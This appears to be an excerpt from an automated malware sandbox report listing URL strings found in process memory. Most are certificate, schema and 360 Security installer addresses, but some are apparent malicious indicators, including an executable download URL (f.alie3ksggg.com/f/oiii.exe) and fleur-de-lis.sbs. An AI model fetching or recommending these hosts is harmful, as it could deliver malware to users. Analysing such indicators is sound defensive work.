Source: svchost.exe, 00000034.00000003.1408056541.000001F4D8702000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS</ds:KeyName></ds:Key
Source: svchost.exe, 00000034.00000002.2798278482.000001F4D8702000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1553593331.000001F4D8702000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS</ds:KeyName>&ltX
Source: svchost.exe, 00000034.00000003.2366828259.000001F4D9937000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS09/xmldsig#ripledes-cbcices/PPCRLwssecurity-utility-1.0.xsd
Source: svchost.exe, 00000034.00000003.1960391374.000001F4D8679000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb
Source: svchost.exe, 00000034.00000003.1503483215.000001F4D8F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tbA
Source: svchost.exe, 00000034.00000002.2848663976.000001F4D963D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb_
Source: svchost.exe, 00000034.00000002.2848663976.000001F4D963D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb_com
Source: AddInProcess32.exe, 00000005.00000002.2604784378.0000000002B41000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002CB4000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002D1B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002AEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a-dira.net
Source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt0
Source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: explorer.exe, 00000024.00000000.1373594900.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000024.00000000.1419179675.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1334164364.0000000004E44000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1335128422.0000000004F05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://channel.360totalsecurity.com/ins?m2=%s&v611=%s&ch=%s&sch=%s%s?%skeyref_linkPhttps://orion.ts.
Source: AddInProcess32.exe, 00000005.00000002.2604784378.0000000002A3F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002B92000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: AddInProcess32.exe, 00000005.00000002.2604784378.0000000002B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
Source: AddInProcess32.exe, 00000005.00000002.2604784378.0000000002A3F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002B92000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: AddInProcess32.exe, 00000005.00000002.2604784378.0000000002A3F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002B92000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: lgX7lgUL1w.exe	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: svchost.exe, 00000034.00000002.2789612356.000001F4D86DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: explorer.exe, 00000024.00000000.1373594900.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000024.00000000.1419179675.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/assured-cs-g1.crl00
Source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: explorer.exe, 00000024.00000000.1373594900.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000024.00000000.1419179675.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/assured-cs-g1.crl0L
Source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: lgX7lgUL1w.exe	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: svchost.exe, 00000034.00000003.2005891372.000001F4D9776000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2877053965.000001F4D9778000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2848663976.000001F4D963D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1927562259.000001F4D9782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab
Source: svchost.exe, 00000034.00000003.1977042587.000001F4D9655000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?6d60373
Source: svchost.exe, 00000034.00000002.2848663976.000001F4D963D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2705850563.000001F4D862B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2876983008.000001F4D9770000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?e5cf4b3
Source: svchost.exe, 00000034.00000002.2848786345.000001F4D9671000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com:80/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?e5cf
Source: AddInProcess32.exe, 00000005.00000002.2604784378.0000000002C04000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002D1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://d3-qihoo360.cdnvideo.ru
Source: svchost.exe, 00000034.00000002.2877539568.000001F4D9913000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2877656460.000001F4D9933000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.2360283708.000001F4D9933000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1824819747.000001F4D9935000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1926743882.000001F4D9907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: svchost.exe, 00000034.00000003.1546636466.000001F4D8F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1543377086.000001F4D8F07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd$
Source: svchost.exe, 00000034.00000003.1546636466.000001F4D8F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1455605121.000001F4D8F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1445192248.000001F4D8F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1456219320.000001F4D8F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1603554186.000001F4D8F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1439619921.000001F4D8F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1754567640.000001F4D8F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1444091539.000001F4D8F0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.2355384079.000001F4D8F0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.2002915745.000001F4D8F0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1441433291.000001F4D8F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1549706965.000001F4D8F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1487196606.000001F4D8F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1440306042.000001F4D8F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1451691032.000001F4D8F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1543377086.000001F4D8F07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1519000285.000001F4D8F0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1667607943.000001F4D8F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1518958283.000001F4D8F07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1909834167.000001F4D8F07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1439541095.000001F4D8F07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAA
Source: svchost.exe, 00000034.00000003.1480834362.000001F4D8F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAAAAA
Source: svchost.exe, 00000034.00000003.1847259219.000001F4D8F07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdoVbwna
Source: svchost.exe, 00000034.00000003.1503483215.000001F4D8F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsds
Source: svchost.exe, 00000034.00000003.1802423004.000001F4D8F07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: svchost.exe, 00000034.00000003.1518958283.000001F4D8F07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd$
Source: svchost.exe, 00000034.00000003.1546636466.000001F4D8F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1455605121.000001F4D8F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1445192248.000001F4D8F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1456219320.000001F4D8F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1603554186.000001F4D8F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1439619921.000001F4D8F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1754567640.000001F4D8F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1444091539.000001F4D8F0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.2355384079.000001F4D8F0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.2002915745.000001F4D8F0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1441433291.000001F4D8F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1549706965.000001F4D8F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1487196606.000001F4D8F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1440306042.000001F4D8F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1451691032.000001F4D8F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1543377086.000001F4D8F07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1519000285.000001F4D8F0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1667607943.000001F4D8F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1518958283.000001F4D8F07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1909834167.000001F4D8F07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1439541095.000001F4D8F07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdA
Source: svchost.exe, 00000034.00000003.1480834362.000001F4D8F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAA
Source: svchost.exe, 00000034.00000003.1480834362.000001F4D8F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAAA
Source: svchost.exe, 00000034.00000003.1407958597.000001F4D8F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdmlns:
Source: svchost.exe, 00000034.00000003.2366828259.000001F4D9937000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsds
Source: svchost.exe, 00000034.00000002.2853548341.000001F4D96A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1803514742.000001F4D8F2A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1847259219.000001F4D8F0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID
Source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000000.1257115899.0000000000471000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: http://down.360safe.com/setup.exePathSOFTWARE
Source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000000.1257196201.0000000000487000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: http://down.360safe.com/setup.exehttp://down.360safe.com/setupbeta.exe
Source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000000.1257196201.0000000000487000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: http://down.360safe.com/setup.exehttp://down.360safe.com/setupbeta.exe360
Source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000000.1257196201.0000000000487000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: http://down.360safe.com/setup.exehttp://down.360safe.com/setupbeta.exeBUTTONBUTTONProduct32Product64
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1409059874.000000000062B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://f.alie3ksggg.com/
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1409059874.000000000062B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://f.alie3ksggg.com/f/oiii.exe
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414285258.0000000000644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fleur-de-lis.sbs/jhgfd
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1429371121.00000000043A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fleur-de-lis.sbs/jhgfdly
Source: AddInProcess32.exe, 00000005.00000002.2604784378.0000000002C04000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002B00000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002CC5000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002CB4000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002D1B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002AEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://free.360totalsecurity.com
Source: AddInProcess32.exe, 00000005.00000002.2604784378.0000000002B00000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002CC5000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002CB4000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002AEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://free.360totalsecurity.com.dl.360qhcdn.com
Source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1282882303.0000000002351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://int.down.360safe.com/totalsecurity/360TS_Setup.exe/360-total-security/?offline=1P
Source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1300801700.0000000004140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://int.down.360safe.com/totalsecurity/360TS_Setup_11.0.0.1103.exe
Source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284177603.0000000002365000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000000.1258256388.000000000056E000.00000002.00000001.01000000.00000006.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1290130727.0000000002351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Rel.cab
Source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1290130727.0000000002351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Rel.cab.b&;
Source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1286798746.0000000002364000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1287059393.0000000002351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Rel.cab.cab
Source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1279675967.0000000002351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Rel.cabSE.ca
Source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1286798746.0000000002364000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1287059393.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284177603.0000000002365000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1282882303.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1283481251.0000000002362000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1279675967.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1290130727.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284229883.0000000002351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Rel.cabini
Source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284177603.0000000002365000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284229883.0000000002351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Rel.cabmp
Source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1286798746.0000000002364000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1287059393.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284177603.0000000002365000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1282882303.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1283481251.0000000002362000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1290130727.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284229883.0000000002351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TS.cab
Source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284229883.0000000002351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TS.cab.q
Source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000000.1258256388.000000000056E000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TS.cabXhttp://www.360totalsecurity.c
Source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1290130727.0000000002351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TS.cabp
Source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1287059393.0000000002351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TS.cabre
Source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1287059393.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1282882303.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1279675967.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1290130727.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284229883.0000000002351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TS.cabv
Source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1287059393.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1282882303.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1279675967.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1290130727.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284229883.0000000002351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TS.cabz
Source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1287059393.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1282882303.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1279675967.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1290130727.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284229883.0000000002351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TSE.cab
Source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1282882303.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1283481251.0000000002362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TSE.cab.
Source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284229883.0000000002351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TSE.cab.b
